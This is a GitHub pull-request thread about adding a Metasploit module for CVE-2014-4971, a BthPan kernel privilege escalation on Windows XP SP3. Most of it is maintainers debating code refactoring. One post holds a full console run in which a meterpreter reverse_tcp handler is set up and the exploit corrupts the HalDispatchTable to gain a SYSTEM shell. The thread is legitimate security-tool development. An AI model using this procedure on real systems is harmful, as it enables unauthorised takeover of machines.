Cve 2014 4971 bthpan exploit #3651
Conversation
Add CVE-2014-4971 BthPan local privilege escalation for Windows XP SP3
|
Ah cool, thanks! Will land in the morning. Pinkie swear. |
|
Btw (maybe on IRC?) If you could elaborate on the repo breakage I'd love to hear it - I know a lot of people hit pitfalls with git so if there's advice to be given there, might be helpful to capture for other contributors. |
|
@todb I fundamentally disagree with: "I don't think @zeroSteiner's refactors are a blocker (it would mean more work on @korelogic's part with not a huge upside)." We have so many issues that crop up in metasploit because of copy and pasted code. The refactors should be pretty simple to implement. |
|
@Meatballs1 okey. let me take a look. I'm guessing you're talking about #3612. If it's easy to implement, I'll do it. Yes, there is a ton of copy/paste, and yes, it hurts me to land more. "It was like that when I got there," is pretty weak of an excuse... but that said, we can't block module submissions forever due to changing (better) libraries. We can always fix later, if "we" includes someone who feels strongly enough about it to do the typing and testing. IOW, I could spend hours on pretty much every single module we ship today making it more perfect, but perfect is the enemy of progress. |
|
I think there’s a difference between perfection and simple refactoring against code that already exists. On Aug 15, 2014, at 11:08 AM, Tod Beardsley notifications@github.com wrote:
|
|
Saying it will get done later never happens. Where I've submitted refactors for existing code they basically don't get touched for fear of breaking stuff. p.s. July 22nd isn't really forever in the MSF schedule of pull requests :) |
|
I disagree, later does happen sometimes, but often does not. There would have to be a forcing function if that is going to be the approach however, and we have a weak one at best. and specs are the solution to “fear of breaking stuff" On Aug 15, 2014, at 1:47 PM, Meatballs1 notifications@github.com wrote:
|
|
No argument with refactoring. If you need us to do so before landing, we won't have the bandwidth to do so until sometime next week. |
|
@meatballs could always PR your repo to add the refactor :) On Aug 15, 2014, at 1:47 PM, Meatballs1 notifications@github.com wrote:
|
|
Done, no idea if it works: Is a bit messy diff cos of pulling in master. |
|
@KoreLogicSecurity if you could take a look at the diff'ed file (all you really care about is 2cc78fd) and confirm the module is still functional, then I can land it with the refactored changes (a new screenshot would be nice proof). @Meatballs1 I understand and often agree with the lament that things "never" get refactored after they land, but the work on @zeroSteiner's changes in particular produced some fairly immediate changes in affected modules. I would hope that since the work is recent, the fire is still there, even if this run at the refactor doesn't land. Especially since we're tagging @zeroSteiner all over the place in this PR. |
|
Incidentally, a test merge of @Meatballs1 stuff to this PR did produce the desired effect: |
|
I would be happy to help refactor this module before or after it lands but it appears @Meatballs1 has already handled it. |
|
Just a wild thought I had re: structure of post exploitation local/privesc modules. Instead of spawning a new session, there perhaps could be an option for it to instead simply elevate the privs of the current session? Perhaps by token passing (Windows) or some kind of witchcraft on Linux/OSX that I have not yet dreamed up? Just a wild thought, while bored stupid at an airport. |
Closes rapid7#3651 by moving this module to unstable. I asked @KoreLogicSecurity if he would be so kind as to test the changes, and haven't heard back from him in 27 days. Assuming this is abandoned. If you'd like to reopen rapid7#3651, just say so with your results. Otherwise, someone else can pick up this work and carry on.
|
Revised the module again, to use msf/core/exploit/local/windows_kernel. It required some small tweaks from todb's proposed code. Pushed the updated and tested module. Here's current example output: , ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v4.10.1-dev [core:4.10.1.pre.dev api:1.0.0]]
+ -- --=[ 1349 exploits - 743 auxiliary - 218 post ]
+ -- --=[ 341 payloads - 35 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf exploit(handler) > use exploit/windows/local/bthpan
msf exploit(bthpan) > show options
Module options (exploit/windows/local/bthpan):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Exploit target:
Id Name
-- ----
0 Windows XP SP3
msf exploit(bthpan) > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.5.35
LHOST => 192.168.5.35
msf exploit(handler) > set LPORT 4445
LPORT => 4445
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.5.35:4445
[*] Starting the payload handler...
msf exploit(handler) > use exploit/windows/local/bthpan
msf exploit(bthpan) >
[*] Sending stage (769536 bytes) to 192.168.5.35
[*] Meterpreter session 1 opened (192.168.5.35:4445 -> 192.168.5.35:53293) at 2014-10-08 11:32:06 -0400
msf exploit(bthpan) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 WCB614-J20\kore @ WCB614-J20 192.168.5.35:4445 -> 192.168.5.35:53293 (10.0.2.15)
msf exploit(bthpan) > show options
Module options (exploit/windows/local/bthpan):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Exploit target:
Id Name
-- ----
0 Windows XP SP3
msf exploit(bthpan) > set SESSION 1
SESSION => 1
msf exploit(bthpan) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.5.35:4444
msf exploit(bthpan) > [*] Disclosing the HalDispatchTable address...
[+] Address successfully disclosed.
[*] Storing the shellcode in memory...
[+] Kernel stager successfully stored at 0x1
[*] Triggering the vulnerability, corrupting the HalDispatchTable...
[*] Executing the Kernel Stager throw NtQueryIntervalProfile()...
[*] Checking privileges after exploitation...
[+] Privilege escalation successful!
[*] Injecting 287 bytes to memory and executing it...
[*] Sending stage (769536 bytes) to 192.168.5.35
msf exploit(bthpan) > [*] Meterpreter session 2 opened (192.168.5.35:4444 -> 192.168.5.35:59211) at 2014-10-08 12:18:16 -0400
msf exploit(bthpan) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 WCB614-J20\kore @ WCB614-J20 192.168.5.35:4445 -> 192.168.5.35:53293 (10.0.2.15)
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WCB614-J20 192.168.5.35:4444 -> 192.168.5.35:59211 (10.0.2.15)
msf exploit(bthpan) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 10.0.2.15 - Meterpreter session 2 closed. Reason: User exit
Please let us know if we should issue a new pull request, or if this is sufficient. Thanks! |
|
Ah cool, reopening then. |
|
@todb-r7 sweet, thanks! |
Resubmitting after unwinding some repo breakage I caused - this is logically a continuation of closed PR #3563, including the style fixes from @todb-r7.
Up-to-date example in action, as requested by @todb: